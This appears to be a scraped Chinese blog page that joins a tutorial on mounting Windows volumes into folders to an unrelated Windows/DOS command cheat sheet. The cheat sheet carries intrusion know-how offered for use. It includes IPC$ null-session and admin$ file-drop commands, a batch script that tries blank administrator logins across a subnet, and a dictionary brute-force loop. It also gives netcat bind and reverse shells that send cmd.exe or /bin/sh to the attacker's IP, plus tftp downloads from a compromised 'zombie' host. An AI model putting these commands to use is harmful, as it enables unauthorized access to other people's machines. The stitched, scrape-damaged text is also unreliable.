    Windows系统并非和UNIX系统师出同门。Windows继承了DOS的文件系统的机制。

    我不是很懂Windows的内在实现机理,所以我只能外在的谈一下。Windows和Linux对待文件系统组织的区别,貌似非常对称:

    • Linux是把文件系统(或者说格式化为某个文件系统的磁盘分区)挂载在目录上。
    • Windows是把目录挂在已经格式化的盘符(其实是一个逻辑卷,即磁盘分区)上。

    注意,我说的是文件系统的组织,而不是文件系统本身,所以我并没有在比较NTFS/extX的格式和处理方面的区别,说白了,我就是在说Windows和Linux分别是怎么 "mount" 文件系统的。

    UNIX一开始就 抽象 了文件系统,将其看作是一个树形的靠mount机制可以无限扩展目录,而DOS可能最初只是将一个具体的磁盘文件系统映射到了内存中。务实的PC操作系统并没有对文件系统做抽象。

    所以说,按照以上的理解:

    • Linux若想挂一个文件系统,必须要有一个目录。
    • Windows若想挂一个文件系统的目录,必须要有一个盘符。

    所以说,我们看到Windows系统中的 “C盘” ,就像看到Linux中的 “/目录” 一样

    为什么Windows没有采用几乎已经是范式的UNIX/Linux文件系统树形mount的实现方式,非要采用一个盘符一个文件系统的方式呢?几乎每个人都知道UNIX/Linux的mount机制会更好一些,无缝插拔,无限扩展,然而Windows却貌似并未采用。

    我们进入Linux系统后,输入mount命令,会看到下面的信息:
    在这里插入图片描述
    每一个磁盘,都挂载在一个目录上,这是一个典型的 可插拔的分层树形 结构。

    在Windows系统,类似的信息如下(这里只是初步看来):
    在这里插入图片描述
    可见,Windows的文件系统是直接诉诸逻辑卷的,缺失了目录挂载点。因此,在对待 文件系统动态扩容(而不是磁盘分区扩容) 操作上,就非常麻烦,可插拔操作几近不可能。

    请注意在微软系Windows系统的前身是DOS,DOS这个单词中的D指的就是Disk的意思。在DOS时代,内存及其少,少得可怜,所以干嘛不直接用盘符来直接索引目录的起始呢?更何况,彼时一般只有一块磁盘,磁盘即系统,系统宿主就是磁盘,故名曰 Disk Operating System ,即 DOS

    磁盘文件系统,即DOS的内在灵魂,一直延续到了今日。

    如何非要和Linux文件系统类比,Windows的盘符更像是Linux的mount数据结构,而不仅仅是个盘符,照着Linux文件系统的结构,我试着画一画Windows的类似结构,不出意外,它看起来是这个样子:
    在这里插入图片描述

    但事实上,这只是个表象,或者说这只是Windows系统在最初时候文件系统的样子,如今,Windows NT虽然表面上仍然保持这个样子,但实际上内在的实现早就类似于UNIX/Linux的mount机制了。

    好了,Windows文件系统的种种不如UNIX/Linux就到此为止,接下来要说的是,Windows系统有能力做到UNIX/Linux系统那般的树形目录mount结构。我们看看如何来做。

    Windows文件系统的mount挂载

    “实际是否去做”“是否有能力去做” 完全是两码事。很少有人见过Windows系统的树形mount结构,因为:

    • Windows为了兼容,舍弃了很多表面的东西,至少它要看起来仍然很像最初的Windows 95甚至Windows 3。
    • 在Windows下,很少有人折腾命令行,所以很少有人去折腾diskpart,mountvol等命令。而彩蛋就在这些命令里。

    下面我来step by step演示如何来做。

    方法1:使用diskpart命令

    diskpart命令类似Linux的fdisk命令,详见:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskpart

    1. 首先准备若干空闲的逻辑卷。在我的例子中,我准备了两个NTFS分区,D盘和E盘:
      在这里插入图片描述
    2. 我们看一下diskpart命令里的assign子命令:
      在这里插入图片描述
      Windows命令行的help非常棒,让我有种操作Cisco路由器的感觉。
      值得注意的是, 上述help提示中,PATH代表的目录必须是一个空目录。 这是和UNIX/Linux的文件系统挂载点任意覆盖已有目录所不同的。
    3. 现在让我们看一下D盘和E盘的表象:
      在这里插入图片描述
    4. 我们在C盘新建一个目录mnt,希望将E盘的NTFS系统挂载在mnt目录:
      在这里插入图片描述
    5. 让我们开始吧!先list一下所有的逻辑卷:
      在这里插入图片描述
    6. 选择标识E盘的逻辑卷标号,并且挂载它到C盘的mnt目录:
      在这里插入图片描述
    7. 我们看到E盘消失了:
      在这里插入图片描述
    8. E盘被mount到了C盘的mnt目录:
      在这里插入图片描述
    9. 哇!果然如此:
      在这里插入图片描述
    10. 让我们操作一番E盘,就像操作C盘的mnt目录一般:
      在这里插入图片描述
    11. 让我们继续在E盘的mount点C:\mnt继续创建新目录挂载D盘:
      在这里插入图片描述
    12. D盘mount成功,并创建个文件:
      在这里插入图片描述
      这个时候,C盘就类似UNIX/Linux的根目录( “/” )了,所有其它两个逻辑卷盘符D盘,E盘嵌套mount在C盘下的目录!
    13. diskpart命令提示符下输入以下命令序列,恢复D盘逻辑卷:
      DISKPART> remove mount=c:\mnt\vol_D
      DISKPART> select vol=3
      DISKPART> assign mount=d:
      
    14. 最后我们看到的是这样:
      在这里插入图片描述

    所谓万变不离其宗,这就是了。Windows的内在依然没有逃过mount目录树?。

    方法2:使用mountvol命令

    这个命令像极了UNIX/Linux的mount命令。详见:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mountvol

    前一个diskpart实验中,我们已经将D盘挂在了C:\mnt\vol_D目录了,现在从那里接着做:
    在这里插入图片描述
    照着指引就可以做。比如我们把D盘挂载到C盘新建目录C:\mnt\newD上:
    在这里插入图片描述
    可见,Windows也是可以将同一个文件系统分区挂在不同的目录的。

    你可以将Linux的ext2,ext3等分区挂在Windows的目录,就像Windows的fat,ntfs分区挂在Linux上一样。实现这个只需要安装Windows下的ext2,ext3驱动即可,我用的是ext2IFS:
    http://www.fs-driver.org/

    安装好它以后,就可以识别接入Windows的ext2,ext3分区了,用IFS Driver给它们指派盘符(IFS Driver在控制面板可以找到):
    在这里插入图片描述
    然后就可以用mountvol来挂载了。

    其实,不指派盘符也可以,用mountvol命令也是可以显示出其uuid的,只不过你可能不好识别:
    在这里插入图片描述
    在这里插入图片描述

    方法3:使用系统管理GUI

    其实,Windows提供了mount逻辑卷的界面,只是很少被人使用罢了。

    计算机管理中点击磁盘管理:
    在这里插入图片描述
    选中一个逻辑卷,右键点击更改驱动器号和路径:
    在这里插入图片描述
    这样就可以删除,添加或者更改一个逻辑卷的挂载点了。

    操作总结

    可见,Windows系统也可以很方便的做到UNIX/Linux那样mount整个世界,而且方法还多种多样。

    这便解决了一个很大的痛点,即C盘满了的问题。然而切记,Windows无法将逻辑卷mount到非空目录,所以就很难靠mount一个块更大的磁盘分区完成诸如C:\Program Files之类目录的扩容,但是方法还是有的,本文不谈。


    最终,Windows内部维护文件系统的结构大概会是下面的样子:
    在这里插入图片描述

    嗯,如果让我来设计,我就会设计成这个样子。

    结论是,Windows系统表面上保持了C,D等盘符,但实际实现上,和UNIX/Linux无异。

    浙江温州皮鞋湿,下雨进水不会胖

    浙江温州皮鞋湿,下雨进水不会胖!

    展开全文
  • Windows窗口命令大全

    千次阅读 2021-04-19 17:33:57
    DOS 面临着被淘汰的命运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP 命令提示符进一步提高了与DOS 下操作命令的...

    何为命令

    虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP 中的命令提示符进一步提高了与DOS 下操作命令的兼容性,用户可以在命令提示符直接输入中文调用文件。

    cmd

    cmd是command的缩写.即命令行 。
    ps:win+r 即为cmd启动前的
    运行窗口

    主要命令

    CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本)

    CMD命令锦集
    1. gpedit.msc-----组策略

    2. sndrec32-------录音机

    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。

    4. explorer-------打开资源管理器

    5. logoff---------注销命令

    6. shutdown-------60秒倒计时关机命令

    7. lusrmgr.msc----本机用户和组

    8. services.msc—本地服务设置

    9. oobe/msoobe /a----检查XP是否激活

    10. notepad--------打开记事本

    11. cleanmgr-------垃圾整理

    12. net start messenger----开始信使服务

    13. compmgmt.msc—计算机管理

    14. net stop messenger-----停止信使服务

    15. conf-----------启动netmeeting

    16. dvdplay--------DVD播放器

    17. charmap--------启动字符映射表

    18. diskmgmt.msc—磁盘管理实用程序

    19. calc-----------启动计算器

    20. dfrg.msc-------磁盘碎片整理程序

    21. chkdsk.exe-----Chkdsk磁盘检查

    22. devmgmt.msc— 设备管理器

    23. regsvr32 /u *.dll----停止dll文件运行

    24. drwtsn32------ 系统医生

    25. rononce -p----15秒关机

    26. dxdiag---------检查DirectX信息

    27. regedt32-------注册表编辑器

    28. Msconfig.exe—系统配置实用程序

    29. rsop.msc-------组策略结果集

    30. mem.exe--------显示内存使用情况

    31. regedit.exe----注册表

    32. winchat--------XP自带局域网聊天

    33. progman--------程序管理器

    34. winmsd---------系统信息

    35. perfmon.msc----计算机性能监测程序

    36. winver---------检查Windows版本

    37. sfc /scannow-----扫描错误并复原

    38. taskmgr-----任务管理器(2000/xp/2003

    40. wmimgmt.msc----打开windows管理体系结构(WMI)

    41. wupdmgr--------windows更新程序

    42. wscript--------windows脚本宿主设置

    43. write----------写字板

    45. wiaacmgr-------扫描仪和照相机向导

    46. winchat--------XP自带局域网聊天

    49. mplayer2-------简易widnows media player

    50. mspaint--------画图板

    51. mstsc----------远程桌面连接

    53. magnify--------放大镜实用程序

    54. mmc------------打开控制台

    55. mobsync--------同步命令

    57. iexpress-------木马捆绑工具,系统自带

    58. fsmgmt.msc-----共享文件夹管理器

    59. utilman--------辅助工具管理器

    61. dcomcnfg-------打开系统组件服务

    62. ddeshare-------打开DDE共享设置

    110. osk------------打开屏幕键盘

    111. odbcad32-------ODBC数据源管理器

    112. oobe/msoobe /a----检查XP是否激活

    68. ntbackup-------系统备份和还原

    69. narrator-------屏幕“讲述人”

    70. ntmsmgr.msc----移动存储管理器

    71. ntmsoprq.msc—移动存储管理员操作请求

    72. netstat -an----(TC)命令检查接口

    73. syncapp--------创建一个公文包

    74. sysedit--------系统配置编辑器

    75. sigverif-------文件签名验证程序

    76. ciadv.msc------索引服务程序

    77. shrpubw--------创建共享文件夹

    78. secpol.msc-----本地安全策略

    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

    80. services.msc—本地服务设置

    81. Sndvol32-------音量控制程序

    82. sfc.exe--------系统文件检查器

    83. sfc /scannow—windows文件保护

    84. ciadv.msc------索引服务程序

    85. tourstart------xp简介(安装完成后出现的漫游xp程序)

    86. taskmgr--------任务管理器

    87. eventvwr-------事件查看器

    88. eudcedit-------造字程序

    89. compmgmt.msc—计算机管理

    90. packager-------对象包装程序

    91. perfmon.msc----计算机性能监测程序

    92. charmap--------启动字符映射表

    93. cliconfg-------SQL SERVER 客户端网络实用程序

    94. Clipbrd--------剪贴板查看器

    95. conf-----------启动netmeeting

    96. certmgr.msc----证书管理实用程序

    97. regsvr32 /u *.dll----停止dll文件运行

    98. regsvr32 /u zipfldr.dll------取消ZIP支持

    99. cmd.exe--------CMD命令提示符

    操作详解

      net use ipipc$ " " /user:" " 建立IPC空链接
    

    net use ipipc$ “密码” /user:“用户名” 建立IPC非空链接

    net use h: ipc$ “密码” /user:“用户名” 直接登陆后映射对方C:到本地为H:

    net use h: ipc$ 登陆后映射对方C:到本地为H:

    net use ipipc$ /del 删除IPC链接

    net use h: /del 删除映射对方到本地的为H:的映射

    net user 用户名 密码 /add 建立用户

    net user guest /active:yes 激活guest用户

    net user 查看有哪些用户

    net user 帐户名 查看帐户的属性

    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限

    net start 查看开启了哪些服务

    net start 服务名 开启服务;(如:net start telnet, net start schedule)

    net stop 服务名 停止某服务

    net time 目标ip 查看对方时间

    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

    net view 查看本地局域网内开启了哪些共享

    net view ip 查看对方局域网内开启了哪些共享

    net config 显示系统网络设置

    net logoff 断开连接的共享

    net pause 服务名 暂停某服务

    net send ip “文本信息” 向对方发信息

    net ver 局域网内正在使用的网络连接类型和信息

    net share 查看本地开启的共享

    net share ipc$ 开启ipc$共享

    net share ipc$ /del 删除ipc$共享

    net share c$ /del 删除C:共享

    net user guest 12345 用guest用户登陆后用将密码改为12345

    net password 密码 更改系统登陆密码

    netstat -a 查看开启了哪些端口,常用netstat -an

    netstat -n 查看端口的网络连接情况,常用netstat -an

    netstat -v 查看正在进行的工作

    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况

    netstat -s 查看正在使用的所有协议使用情况

    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名

    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR .”表示删除当前目录下所有只读文件,“DEL/A-S .”表示删除当前目录下除系统文件以外的所有文件

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> “和”> >" 是重定向命令

    at id号 开启已注册的某个计划任务

    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

    at id号 /delete 停止某个已注册的计划任务

    at 查看所有的计划任务

    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

    finger username @host 查看最近有哪些用户登陆

    telnet ip 端口 远和登陆服务器,默认端口为23

    open ip 连接到IP(属telnet登陆后的命令)

    telnet 在本机上直接键入telnet 将进入本机的telnet

    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

    copy ipadmin s v v . e x e c : 或 : c o p y i p a d m i n svv.exe c: 或:copyipadmin svv.exec::copyipadmin. 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

    用参数/e才可连目录下的子目录一起复制到目标地址下。

    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

    mem 查看cpu使用情况

    attrib 文件名(目录名) 查看某文件(目录)的属性

    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

    set 指定环境变量名称=要指派给变量的字符 设置环境变量

    set 显示当前所有的环境变量

    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

    pause 暂停批处理程序,并显示出:请按任意键继续…

    if 在批处理程序中执行条件处理(更多说明见if命令及变量)

    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

    echo 信息 在屏幕上显示出信息

    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中

    findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello

    find 文件名 查找某文件

    title 标题名字 更改CMD窗口标题名字

    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

    ver 在DOS窗口下显示版本信息

    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

    md 目录名 创建目录

    replace 源文件 要替换文件的目录 替换文件

    ren 原文件名 新文件名 重命名文件名

    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

    type 文件名 显示文本文件的内容

    more 文件名 逐屏显示输出文件

    doskey 要锁定的命令=字符

    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

    taskmgr 调出任务管理器

    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

    path 路径可执行文件的文件名 为可执行文件设置一个路径。

    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

    regedit /e 注册表文件名 导出注册表

    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。

    cacls 文件名 查看文件的访问用户权限列表

    REM 文本内容 在批处理文件中添加注解

    netsh 查看或更改本地网络配置情况

    IIS服务命令

    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

    iisreset /start或stop 启动(停止)所有Internet服务

    iisreset /restart 停止然后重新启动所有Internet服务

    iisreset /status 显示所有Internet服务状态

    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

    FTP 命令: (后面有详细说明内容)

    ftp的命令行格式为:

    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

    -d 使用调试方式。

    -n 限制ftp的自动登录,即不使用.netrc文件。

    -g 取消全局文件名。

    help [命令] 或 ?[命令] 查看命令说明

    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

    pwd 列出当前远端主机目录

    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

    mget [remote-files] 从远端主机接收一批文件至本地主机

    mput local-files 将本地主机中一批文件传送至远端主机

    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

    ascii 设定以ASCII方式传送文件(缺省值)

    bin 或 image 设定以二进制方式传送文件

    bell 每完成一次文件传送,报警提示

    cdup 返回上一级目录

    close 中断与远程服务器的ftp会话(与open对应)

    open host[port] 建立指定ftp服务器连接,可指定连接端口

    delete 删除远端主机中的文件

    mdelete [remote-files] 删除一批文件

    mkdir directory-name 在远端主机中建立目录

    rename [from] [to] 改变远端主机中的文件名

    rmdir directory-name 删除远端主机中的目录

    status 显示当前FTP的状态

    system 显示远端主机系统类型

    user user-name [password] [account] 重新以别的用户名登录远端主机

    open host [port] 重新建立一个新的连接

    prompt 交互提示模式

    macdef 定义宏命令

    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

    chmod 改变远端主机的文件权限

    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

    cd remote-dir 进入远程主机目录

    cdup 进入远程主机目录的父目录

    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5

    MYSQL 命令

    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

    (例:mysql -h110.110.110.110 -Uroot -P123456

    注:u与root可以不用加空格,其它也一样)

    exit 退出MYSQL

    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

    grant select on 数据库.* to 用户名@登录主机 identified by “密码”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

    use mysql;

    show tables; 显示库中的数据表

    describe 表名; 显示数据表的结构

    create database 库名; 建库

    use 库名;

    create table 表名 (字段设定列表); 建表

    drop database 库名;

    drop table 表名; 删库和删表

    delete from 表名; 将表中记录清空

    select * from 表名; 显示表中的记录

    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

    win2003系统下新增命令(实用部份):

    shutdown /参数 关闭或重启本地或远程主机。

    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

    例:shutdown /r /t 0 立即重启本地主机(无延时)

    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。

    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    Linux系统下基本命令 注:要区分大小写

    uname 显示版本信息(同win2K的 ver)

    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

    pwd 查询当前所在的目录位置

    cd cd …回到上一层目录,注意cd 与…之间有空格。cd /返回到根目录。

    cat 文件名 查看文件内容

    cat >abc.txt 往abc.txt文件中写上内容。

    more 文件名 以一页一页的方式显示一个文本文件。

    cp 复制文件

    mv 移动文件

    rm 文件名 删除文件,rm -a 目录名删除目录及子目录

    mkdir 目录名 建立目录

    rmdir 删除子目录,目录内没有文档。

    chmod 设定档案或目录的存取权限

    grep 在档案中查找字符串

    diff 档案文件比较

    find 档案搜寻

    date 现在的日期、时间

    who 查询目前和你使用同一台机器的人以及Login时间地点

    w 查询目前上机者的详细资料

    whoami 查看自己的帐号名称

    groups 查看某人的Group

    passwd 更改密码

    history 查看自己下过的命令

    ps 显示进程状态

    kill 停止某进程

    gcc 黑客通常用它来编译C语言写的文件

    su 权限转换为指定使用者

    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

    ftp ftp连接上某服务器(同win2K)

    批处理命令与变量

    1:for命令及变量 基本格式

    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。

    用法举例:

    @echo off

    echo 用法格式:test.bat ..* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%G /user:administrator | find “命令成功完成” >>test.txt

    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:..*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。

    @echo off

    echo 用法格式:ok.bat ip

    FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200

    存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    七:

    2:if命令及变量 基本格式

    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

    0 指发现并成功执行(真);1 指没有发现、没执行(假)。

    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

    例:“if “%2%”==“4” goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")

    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。

    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt.

    系统外部命令

    注:系统外部命令(均需下载相关工具)

    瑞士军刀:nc.exe

    参数说明:

    -h 查看帮助信息

    -d 后台模式

    -e prog程序重定向,一但连接就执行[危险]

    -i secs延时的间隔

    -l 监听模式,用于入站连接

    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C

    -n IP地址,不能用域名

    -o film记录16进制的传输

    -p[空格]端口 本地端口号

    -r 随机本地及远程端口

    -t 使用Telnet交互方式

    -u UDP模式

    -v 详细输出,用-vv将更详细

    -w数字 timeout延时间隔

    -z 将输入,输出关掉(用于扫锚时)

    基本用法:

    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

    nc -l -p 80 开启本机的TCP 80端口并监听

    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

    高级用法:

    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止

    nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt

    nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

    type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

    本机上用:nc -l -p 本机端口

    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K

    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙

    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称

    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机

    备 注:

